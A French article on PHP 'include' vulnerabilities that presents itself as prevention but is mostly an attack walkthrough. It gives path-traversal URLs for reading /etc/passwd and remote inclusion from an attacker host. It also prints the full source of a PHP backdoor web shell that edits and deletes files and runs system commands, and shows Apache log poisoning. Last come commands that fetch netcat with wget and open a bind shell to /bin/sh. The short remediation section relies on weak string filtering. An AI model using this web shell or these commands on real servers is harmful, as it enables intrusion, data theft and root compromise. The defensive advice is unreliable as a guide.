Retour sur la faille include et son utilisation

John JEAN | John@wargan.org

Introduction

Ce document traitera de la faille include, que l'on trouve communément dans les développements php. Cette faille semble avoir été largement documentée sur ces dernières années mais l'explication s'arrête toujours et irrémédiablement à la modification de l'index de votre site Internet. Ce qui est éludé dans ces documents, c'est à quel point cette faille peut mettre en péril la totalité de votre serveur, de votre réseau et donc de tout ce qui en découle.

De ce fait, nous traiterons d'abord l'explication technique de la création de cette faille include, puis de ses effets et possibilités d'action et enfin de son enrayement.

La faille en elle-même

Cette faille est par définition présente sur la plupart des sites web utilisant la fonction include « sans précaution ». En effet, le langage php est l'un, si ce n'est LE langage le plus utilisé sur le web mais aussi le plus puissant car celui-ci permet un contrôle quasi-total sur l'ensemble du serveur.

Parmi ses fonctions on compte donc le fameux « include ». Cette fonction permet, comme son nom l'indique, d'inclure un fichier dans un autre. Elle est généralement utilisée sur les sites nécessitant un appel de page réutilisé. Par exemple, si toutes vos pages requièrent la page mysql.php dans laquelle sont contenus vos informations mysql, il convient de l'inclure dans chacune de vos pages plutôt que de retaper l'équivalent de mysql.php dans toutes celle-ci. Voici donc un exemple d'insertion :

```
<?PHP
include ($_SERVER['DOCUMENT_ROOT'].'/mysql.php');
?>
```

Ce type d'insertion ne pose a priori aucun problème majeur. Néanmoins l'utilisation d'include peut permettre aussi d'interroger les pages d'un site Internet, tout en gardant une trame de fond. Vous avez sûrement déjà vu un site donc l'url était du type : http://www.site.com/index.php?page=contact.php. Le but de ce type d'include est de garder des paramètres dans chacune des pages du site consulté mais par un script unique, plutôt que par un include dans chacune des pages à consulter. Je m'explique, une page centrale ici index.php aurait la structure :

```
<?
  include("mysql.php");
  include($page);
  include("footer.php");
?>
```

Ainsi toutes les pages appelées et passant par index.php de part l'url incluraient automatiquement le fichier mysql.php nécessaire à leurs diverses requêtes. C'est exactement par ce type d'url utilisant include que l'on peut détourner l'usage de cette fonction. Si le script apparaît ainsi, il génère automatiquement la faille include et donc un script facilitant la gestion du site, en terme de page et de « coding » devient une véritable arme pour les divers assaillants.

Cette présentation sommaire de la fonction, et de la création de la faille, permet une approche du php indispensable pour le reste du document, et rappel aussi combien ce type de script est utilisé sur les sites internet. Il n'y a qu'à lancer Google pour vérifier.

Effets et actions possibles

Nous allons commencer par reprendre les failles les plus couramment utilisées puis nous regarderons jusqu'où peut aller l'utilisation de cette faille.

A- Inclusion système

Tout d'abord, la première utilisation de cette faille est le détournement pur et dur de l'émission de paramètres. C'est-à-dire qu'avec l'url du type : http://www.site.com/index.php?page=contact.php la page index.php recevait comme paramètre contact.php pour ensuite l'inclure. Si désormais l'on enlève contact.php, et l'on insère autre chose, index.php l'inclura, permettant ainsi la lecture de la page en question.

Si par exemple le site est sur un serveur unix, si vous entrez comme url :

http://www.site.com/index.php?page=/etc/passwd
http://www.site.com/index.php?page=../../../../../../../etc/passwd

le site Internet affichera directement le fichier sensible, ici le fichier /etc/passwd régulant les comptes utilisateurs et permettant ainsi l'accès au serveur via diverses manipulations qui ne sont pas l'objectif de ce document. Vous pouvez donc jouer ainsi avec cet include, de diverses manières aussi subtile qu'énervante en affichant /etc/issue, /etc/motd et les autres…

B- Inclusion externe

Les choses s'aggravent avec ce type d'inclusion puisque celle-ci, si elle est bien menée et que les répertoires sont chmodés à notre avantage, permet un listing et une lecture totale des fichiers du serveurs, que ce soit dans /var/www/html ou / et /root. Cela suppose, je me répète, évidement un chmod en notre faveur. En effet en rejouant un peu avec les urls, plutôt que d'inclure ce qui est système, on peut carrément inclure notre propre script php à l'aide d'un appel extérieur de la sorte :

http://www.site.com/index.php?page=http://www.attaquant.com/script.txt

Pourquoi une extension .txt lors de l'appel ? Pour différentes raison, la première étant que le txt permet un visionnage de la source plus aisé sur le site de l'attaquant. L'autre raison plus bien logique est que, si vous mettez votre script, bien qu'étant en Php, avec une extension .php, celui-ci a beau être appelé de façon distance, l'extension php le fera tout de même s'exécuter en local. De ce fait votre script s'exécutera sur votre site et non sur le site distant. Il arrive parfois que l'include vérifie l'extension, et que vous ne puissiez pas passer votre .txt, si c'est le cas renommez le fichier comme l'extension le veut, néanmoins l'include peut carrément demander un .php, si vous voulez quand même passer votre script, et que votre .php ne s'exécute pas en local mais bel et bien en distant vous devez opter pour ce genre de syntaxe :

Un :

```
< ?
print(« $REMOTE_ADDR ») ;
?>
```

Devient :

```
< ?
print(« < ? ») ;
?>
print(« $REMOTE_ADDR ») ;
< ?
print(« ?> ») ;
?>
```

Concrètement vous devez précéder votre script d'un Print de balisage d'ouverture et de fermeture php.

Reste ensuite le problème du type de script à appeler, puisque celui-ci doit permettre de lire, éditer si le chmod le permet, et même si l'on veut, créer sur le serveur distant. J'ai donc conçu un script permettant de faire de l'appel distant et donc de tester le serveur. Voici le code source résumé :

```
<?
//Script développé par John
//John@wargan.com
//Merci de ne pas enlever ce commentaire
//Le projet est déjà open source, veillez à ne pas en abuser...
//Je vous renvoi vers les licences GNU

if(!isset($fileN) && !isset($del) && !isset($path) && !isset($cmd) &&
 !isset($phpinfo))
{
 $path='.';
}

$bkdoor_fn=$SCRIPT_NAME;
$lescript=explode("/",$bkdoor_fn);
$lefichier=$lescript[count($lescript)-1];

if(isset($fileN) && $fileN!="")
{
  if(isset($fileCtn) && $fileCtn!="")
  {
        $fp=fopen($fileN,"w");

        $nfileCtn=$fileCtn;

        if(isset($isMagic))
        {

                $nfileCtn = str_replace("\\\\", "\\", $nfileCtn);
                $nfileCtn = str_replace("\\'", "'", $nfileCtn);
                $nfileCtn = str_replace("\\\"", "\"", $nfileCtn);
                header("Location:$lefichier?fileCreated=$fileN&D=A");
        }



        fputs($fp,$nfileCtn);
        fclose($fp);
  }

  //Lecture
  echo "<p><form action='$bkdoor_fn' method='post'>
    <input name='fileN' type='text' value='$fileN'> <input type='subm
it' value='Modifier le fichier' Name='Envoyer'>   <input type='checkb
ox' name='isMagic' value='true' checked>Correction du Magic_Quotes</p
>
    <textarea name='fileCtn' rows='100' cols='80'>";
  if(file_exists("$fileN"))
  {
        $fp=fopen("$fileN","r");
        while (!feof ($fp))
        {
          $buffer = fgets($fp, 4096);
//          echo htmlspecialchars($buffer)."<br>";
          echo $buffer;
           }
        fclose ($fp);
```

```
  }
  echo "</textarea><p><input type='submit' value='Modifier le fichier
' Name='Envoyer'>   <input type='checkbox' name='isMagic' value='true
' checked>Correction du Magic_Quotes</p>";


}

if(ereg("(\?+)", $REQUEST_URI)){$Z="&";}else{$Z="?";}

if(isset($path) && $path!="")
{
  if(is_dir($path))
  {

   $thisdir=@opendir($path);
if($D=='A'){$newurl=$lefichier;$newurl=str_replace("&D=A","",$newurl)
;}else{$newurl=$REQUEST_URI.$Z."D=A";}
if($path!="." && path!="" && isset($path))
{
$chemin=explode("/",$path);
$ledossier=$chemin[count($chemin)-1];
}
else
{
$chemin=explode("/",getcwd());
$ledossier=$chemin[count($chemin)-1];
}
  echo("<!DOCTYPE HTML PUBLIC \"-
//W3C//DTD HTML 4.0 Transitional//EN\"\n
\"http://www.w3.org/TR/REC-html40/loose.dtd\">\n
<html>\n
<head>\n
<title>Index of /".$ledossier."</title>\n
</head>\n
<body bgcolor=\"#ffffff\" text=\"#000000\">\n
  <table><tr><td bgcolor=\"#ffffff\" class=\"title\">\n
<font size=\"+3\" face=\"Helvetica,Arial,sans-serif\">\n
<b>Index of /".$ledossier."</b></font>\n
</td></tr></table><br>\n
<table border=0 cellpadding=0 cellspacing=0><tr>\n
<td width=220 valign=bottom><img border=\"0\" src=\"http://$HTTP_HOST
/icons/blank.gif\"> <a href='?N=A'><tt>Name</a></td>\n
<!-- Hiding the Backdoor -> Autoindex listing -->
<td width=140 valign=bottom><a href='?M=A'><tt>Last modified</a></td>
\n
<td width=48 valign=bottom align=right><a href='?S=A'><tt>Size</a></t
d>\n
<td width=220 valign=bottom>    <a href='$newurl'
><tt>Description</a></td><tr></table>\n
<hr noshade align=\"left\" width=\"80%\">\n
<table border=0 cellpadding=0 cellspacing=0><tr>\n");

    while($entry=readdir($thisdir))
    {
        $fn="$path/$entry";
        $newtype="unknown.gif";
        $modi="";
        if(is_dir($fn)) {$type="dir";$newtype="dir.gif";if($D=='A'){$
modi="<a href='$bkdoor_fn?path=$fn&D=A'>explorer</a> -
 <a href='$bkdoor_fn?delD=$fn'>supprimer</a>";}}
```

```
        if(substr($fn,-
2)==".."){$type="back";$newtype="back.gif"; if($D=='A'){$modi="<a hre
f='$bkdoor_fn?path=$fn&D=A'>explorer</a>";}}
        if(is_file($fn)){$type="file"; if($D=='A'){$modi="<a href='$b
kdoor_fn?fileN=$fn'>afficher</a> -
 <a href='$bkdoor_fn?delF=$fn'>supprimer</a>";}}
        if(is_link($fn)){$type="link";$newtype="link.gif";}
                if($type=="file")
                {
                        $type=explode(".", $entry);
                        $type=$type[count($type)-1];
                        $exts=array();
                        $exts["exe"] = "binary.gif";
                        $exts["hqx"] = "binhex.gif";
                        $exts["tar"] = "tar.gif";
                        $exts["wrl"] = "world2.gif";
                        $exts["vrml"] = "world2.gif";
                        $exts["vrm"] = "world2.gif";
                        $exts["iv"] = "world2.gif";
                        $exts["Z"] = "compressed.gif";
                        $exts["z"] = "compressed.gif";
                        $exts["tgz"] = "compressed";
                        $exts["gz"] = "compressed.gif";
                        $exts["zip"] = "compressed.gif";
                        $exts["ps"] = "a.gif";
                        $exts["ai"] = "a.gif";
                        $exts["eps"] = "a.gif";
                        $exts["html"] = "text.gif";
                        $exts["shtml"] = "text.gif";
                        $exts["htm"] = "text.gif";
                        $exts["pdf"] = "pdf.gif";
                        $exts["txt"] = "text.gif";
                        $exts["c"] = "c.gif";
                        $exts["pl"] = "p.gif";
                        $exts["py"] = "p.gif";
                        $exts["for"] = "f.gif";
                        $exts["dvi"] = "dvi.gif";
                        $exts["uu"] = "uuencoded.gif";
                        $exts["conf"] = "script.gif";
                        $exts["sh"] = "script.gif";
                        $exts["shar"] = "script.gif";
                        $exts["csh"] = "script.gif";
                        $exts["ksh"] = "script.gif";
                        $exts["tcl"] = "script.gif";
                        $exts["tex"] = "tex.gif";
                        $exts["core"] = "bomb.gif";
                        $exts["bmp"] = "image2.gif";
                        $exts["jpg"] = "image2.gif";
                        $exts["jpeg"] = "image2.gif";
                        $exts["png"] = "image2.gif";
                        $exts["gif"] = "image2.gif";
                        $exts["pcx"] = "image2.gif";
                        $newtype=$exts[$type];
                        if(empty($newtype)){$newtype="unknown.gif";}
                }
     if($entry!="." && $entry!=$lefichier)
     {
      if($entry!=".."){$newentry=$entry;$newsize=round(filesize($fn)/
1024)."k";}else{$newentry="Parent Directory";$newsize="-";}
      if($newtype=="dir.gif"){$newsize="-";}
          echo "<td width=220 valign=bottom><img src='http://$HTTP_HO
```

```
ST/icons/$newtype'>  <a href='$fn'><tt>$newentry</a></td>
          <td width=140 valign=bottom><tt>".date( "d-M-
Y H:i",filemtime($fn) ) ."</td>
          <td align=right valign=bottom width=48><tt>$newsize</td>
          <td width=220 valign=bottom>   <tt>$modi</td>
<tr>";
         }
    }
    echo "</table><br><hr noshade align=\"left\" width=\"80%\">";
    if(isset($fileCreated) && $fileCreated!=""){trim(addslashes(htmls
pecialchars($fileCreated)));echo("<font color=green><b>Fichier '$file
Created' créé</b></font>");}
    if($D=='A'){echo("\n<form><input type=text name=fileN value='fich
ier.php'><input type=hidden name=path value='".$path."'><input type=s
ubmit value='ajouter un fichier'></form>\n<form><input type=text name
=mkdirname value='dossier'><input type=submit value='ajouter un dossi
er'></form>\n<form><input type='submit' name='phpinfo' value='phpinfo
()'>\n");}
     closedir($thisdir);
  }

}

if(isset($mkdirname) && $mkdirname!="")
{
 if(!file_exists($mkdirname)){mkdir ($mkdirname, 0777);echo("<font co
lor=green><b>Création du dossier '$mkdirname' effectuée en chmod 777.
</b></font>");}else{echo("<font color=red><b>Création du dossier '$mk
dirname' impossible, ce dossier existe deja.</b></font>");}
}


if(isset($delD) && $delD!="")
{
 if(function_exists('rmdir'))
 {
  if(file_exists($delD)){rmdir($delD);echo("<font color=green><b>Doss
ier '$delD' supprimé.</b></font><br><a href='$HTTP_REFERER'>retour</a
>");}else{echo("<font color=red><b>Dossier '$delD' introuvable.</b></
font><br><a href='$HTTP_REFERER'>retour</a>");}
 }
 else
 {
  echo("<font color=red><b>Dossier '$delD' non supprimable (la config
 du serveur ne le permets pas OU dossier non vide).</b></font>");
 }
}

if(isset($cmd) && $cmd!="")
{
  echo system($cmd);
}

if(isset($delF) && $delF!="")
{
  if(file_exists($delF)){unlink($delF);echo("<font color=green><b>Fic
hier '$delF' supprimé.</b></font><br><a href='$HTTP_REFERER'>retour</
a>");}else{echo("<font color=red><b>Fichier '$delF' introuvable.</b><
/font><br><a href='$HTTP_REFERER'>retour</a>");}
}
```

```
if(isset($phpinfo) && $phpinfo!="")
{
phpinfo();
}

clearstatcache();

?>
```

Comme vous le verrez ce script permet de lister, créer, modifier, effacer, explorer, et autres…les fichiers et les répertoires. Il se gère en auto index, et permet également de passer des commandes systèmes. En gros il peut servir de backdoor php en local, et script d'exploration en distant par l'include, et c'est ce qui nous intéresse, n'omettez donc pas de faire les print balise php comme expliqué précédemment ;)

Pour vous faciliter la tache en terme d'explication et d'apprentissage de sécurisation de vos réseaux, voici l'url du code source précédemment écrit, ce lien vous permettra de l'acquérir directement :
http://www.wargan.org/L'equipe/John-JEAN/Developpement/Php/Backdoor/Backdoor.phps

Vous comprendrez donc que pour utiliser cette faille, il convient de créer votre script php, ce qui n'est pas chose facile, mais néanmoins vous avez la chance de pouvoir l'adapter à votre convenance :)

C- Commandes système

Cette faille reprend à 100% la faille précédente, à la différence près que le script appelé permettra d'agir en terme de commandes systèmes, pour peu que la fonction system() ; n'ai pas été DISABLED. Voici le type de script à appeler :

```
<?
print("<?");
?>
system($rec);
<?
print("?>");
?>
```

Il ne vous reste plus ensuite qu'à passer vos commandes pour en apprendre un peu plus sur le système. Par exemple :

http://www.site.com/index.php?page=http://www.attaquant.com/page.php?rec=uname –a

Ou:

http://www.site.com/index.php?page=http://www.attaquant.com/page.php?rec=pwd

D- Les logs apache

La faille include retourne également les logs apache contre vous. Ces logs créés à la base pour vous donner un suivi des requête sur votre sites web, et si besoin est de traquer un ou deux attaquants, sont consulté de par la faille include, et donne un accès, du moins une consultation du système à l'assaillant. Cette faille est vaguement liée à la faille numéro A. Vous avez pu constater que si les chmod sont à notre avantage, nous pouvons consulter les dossiers système, et bien les logs apache font parti de ces dossiers, et, si vous les consultez, en plus d'être lus, ils seront interprétés.

En effet de part l'inclusion de fichier système, si vous lisez le httpd.conf, vous trouverez ou sont stocké les logs apache, notamment « error_log ». Ce fichier étant trouvé, il ne vous reste plus qu'à passer les commandes voulues et de les interroger dans les logs, par l'include, pour qu'elles soient interprétées. Par exemple :

http://www.site.com/<?system("ls+/ ");?>

écrira un GET dans le fichier log de la commande système « ls / ». Il ne reste plus qu'à inclure le fichier error_log via la faille include, pour voir vos commandes être interprétées.

http://www.site.com/index.php?page=/home/apache/logs/error_log

listera donc les dossiers contenus en racine du serveur.

E- Utilisation de netcat et dérivés

Je passerai outre dans ce document les diverses actions pour réaliser cette technique de façon anonyme. Ce n'est absolument pas le but de celui-ci.
Cette technique un peu plus élaborée que les autres permet, par un simple include d'obtenir le statut root sur un serveur. L'idée en gros est d'uploader netcat (je renvois vers google.fr pour ceux ne connaissant pas cet outil), et l'exécuter sur le serveur cible, et de se fait de pouvoir se connecter sur le serveur en local. Une fois un accès shell local sur le serveur cible établit, le statut root n'est plus qu'à deux minutes.

De part ce que j'ai déjà expliqué, la facilité d'uploader netcat sur le serveur, doit vous paraître évidente. En effet, il vous suffira d'utiliser l'inclusion externe à l'aide d'un fichier php permettant d'uploader un peu ce que l'on veut sur le serveur. L'idée est d'uploader nc dans le répertoire /tmp du serveur, pour la simple et bonne raison qu'il est très généralement chmodé à notre avantage.

http://www.site.com/index.php?page=http://www.attaquant.com/upload.php

Vous pouvez également uploader netcat par un include système, si la variable est activée, ou par une page php que vous avez programmé vous permettant d'utiliser system() ;

http://www.site.com/index.php?page=http://www.attaquant.com/page.php?rec=cd /tmp;wget http://www.attaquant.com/netcat

Afin de ne pas perdre son temps à rejouer avec les permissions, l'idéal est d'établir tout de suite le chmod de netcat en 777, puis de le lancer. On obtient donc :

http://www.site.com/index.php?page=http://www.attaquant.com/page.php?rec=chmod 777 /tmp/netcat

Puis

http://www.site.com/index.php?page=http://www.attaquant.com/page.php?rec=/tmp/netcat -l -p 313773 -e /bin/sh&&

L'argument –l correspond à un listening, le –p définit le port, et enfin le –e est un « external », il définit sur quel shell/socket renvoyer, enfin les && permettent de mettre la tache en background.

Il ne reste donc plus qu'a se connecter sur le port 313773 du serveur pour y obtenir son shell. Lancer votre netcat en –v sur l'ip sur serveur et avec 313773 en argument.

Une fois ce shell obtenu, google et le savoir du « hacker » feront le reste.

Notions d'enrayement

Voici quelques pistes d'enrayement :

- **un chmod total et cohérent des répertoires du serveur. Divers outils open source existent sous linux et incluent la récursivité pour donner des chmod cohérents à ses répertoires.**
- **Un configuration du php.ini plus soutenue, en incluant un DISABLE de system(), exec et leurs alias, et un opendir, listdir restreint.**
- **La plupart des IDS actuels gèrent une arrivée dans /tmp et l'analysent. Pourquoi pas une installation ;)**

La plupart de ces conseils valent si vous laissez la faille include, mais le plus simple reste de la corriger,ainsi :

Les possibilités de contre-attaque

A- Première idée de parade

Historiquement le premier moyen de lutter contre la faille include était d'ajouter l'extension du fichier à inclure dynamiquement dans le script.
Ainsi un appel du genre index.php?page=magazine incluait magazine.php

par exemple :

```
<?
include('header.php');
include('$page.php');
include('footer.php');
?>
```

Avec ce script, il n'est possible d'inclure que des fichiers portant l'extension '.php' (on peut choisir n'importe quoi d'autre, cela sera exécuté). Ainsi on efface la possibilité d'accéder à des fichiers système de l'OS directement via l'include.
Mais la limite est déjà exposé, avec la modernisation du pré processeur php, la fonction include[1] a pu évoluer, et gérer le protocole http, entre autre. Ce qui a pour incidence immédiate que les fichiers distants portant l'extension « .php » ont la possibilité d'être inclus. Ce qui permet encore à un attaquant d'exécuter des commandes arbitraires comme vu précédemment.

B- Seconde parade

Dans un programme le contrôle des erreurs est primordial il en va de meme avec php.
La fonction « file_exists » permettait jusqu'à la version 4.x de parer l'inclusion d'un fichier distant en incluant simplement un contrôle de l'existence du fichier en local.
La fonction ne gérait pas le protocole http (et autres), un fichier distant étant donc considéré comme inexistant : il n'était pas inclus.

exemple :

```
<?
if (file_exists($page.php))
{
include($page.php);
}
?>
```

Mais depuis Php v5.0 cette méthode n'est plus applicable et pose un gros problème de sécurité puisque « file_exists »[2] approuvera la présence du dit fichier et donc l'incluera. (la configuration au niveau serveur de php permet de désactiver les protocole http, ftp... dans les fonctions qui l'utilisent).

C- Parade possible.

Filtrer les données de la variable en supprimant des caractères tels que . ' « ` | / \ : http avec la fonction « str_replace »[3]

---

1 http://fr2.php.net/manual/fr/function.include.php
« Si les Gestionnaires d'URL sont activés dans PHP (ce qui est le cas par défaut), vous pouvez localiser le fichier avec une URL (via HTTP ou bien avec un gestionnaire adapté : voir Annexe L pour une liste des protocoles), au lieu d'un simple chemin local. Si le serveur distant interprète le fichier comme du code PHP, des variables peuvent être transmises au serveur distant via l'URL et la méthode GET. Ce n'est pas, à strictement parler, la même chose que d'hériter du contexte de variable. Le fichier inclus est en fait un script exécuté à distance, et son résultat est inclus dans le code courant. »
« La version Windows de PHP ne supporte pas l'accès aux fichiers distants avec cette fonction, même si allow_url_fopen est activé. »

2 http://fr2.php.net/manual/fr/function.file-exists.php
« **Astuce :** Depuis *PHP 5.0.0* cette fonction peut aussi être utilisée avec *quelques* protocoles url. »

Voici une autre façon sous php4 :

```
<?
 include("mysql.php");
 include($page);
 include("footer.php");
?>
```

Devient:

```
<?
  include("mysql.php");
  $page = $page.".php";
  if(file_exists($page))
        include($page);
        else
     include("404.php");
 include("footer.php");
?>
```

Ce script est valable sur php4, si vous utilisez php5 ajoutez la fonction str_replace à votre $page en filtrant http et les autres mots clés

Conclusion

J'espère que ce document vous aura permis de constater que certes la faille include est surdocumentée en terme de defacing, mais aucun document sérieux n'existe sur le réel danger de cette faille. Ce n'est pas votre index qui est visé, mais le statut root, avec tout ce qui va avec, montée de BP, rootkit, montée de processus, élargissement au réseau, etc etc… Le but de ce document n'est pas une explication commenté d'un hack, mais une réel prévention pour votre serveur et réseau, et si elle sert à autre chose, que certains pensant à s'auto-assumer. A noter que la partie « contre attaque » a été co-écrite avec Dimitri Meao (Wargan Solutions).

3http://fr2.php.net/manual/fr/function.str-replace.php